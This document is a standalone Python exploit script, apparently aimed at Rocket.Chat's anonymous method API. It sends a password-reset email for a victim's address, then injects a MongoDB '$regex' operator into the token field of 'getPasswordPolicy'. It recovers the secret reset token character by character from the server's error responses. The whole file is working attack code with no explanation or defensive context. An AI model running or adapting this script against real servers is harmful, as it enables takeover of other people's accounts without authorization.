import sys
import time
import string
import json
import requests


guess = '-_' + string.digits + string.ascii_letters
session = requests.session()
session.headers = {
    'Content-Type': 'application/json',
}


def reset_password(target: str, email: str):
    payload = {
        'msg': 'method',
        'method': 'sendForgotPasswordEmail',
        'params': [email],
    }

    session.post(
        f'{target}/api/v1/method.callAnon/sendForgotPasswordEmail',
        json={'message': json.dumps(payload)},
    )
    sys.stdout.write("[+] Password Reset Email Sent\n")
    sys.stdout.flush()


def inject_token(target: str):
    payload = {
        'msg': 'method',
        'method': 'getPasswordPolicy',
        'params': [
            {
                'token': {'$regex': '^'}
            }
        ],
    }
    for i in range(43):
        current = payload['params'][0]['token']['$regex']
        sys.stdout.write(f'[*] Guess No.{i + 1} character: ')
        for ch in guess:
            payload['params'][0]['token']['$regex'] = current + ch
            response = session.post(
                f'{target}/api/v1/method.callAnon/getPasswordPolicy',
                json={'message': json.dumps(payload)},
            )
            if b'Meteor.Error' not in response.content:
                sys.stdout.write(f"\n[+] Current token is {payload['params'][0]['token']['$regex'][1:]}\n")
                sys.stdout.flush()
                break
            else:
                sys.stdout.write('.')
                sys.stdout.flush()

            time.sleep(1.5)


if __name__ == '__main__':
    target = sys.argv[1]
    reset_password(target, sys.argv[2])
    inject_token(target)
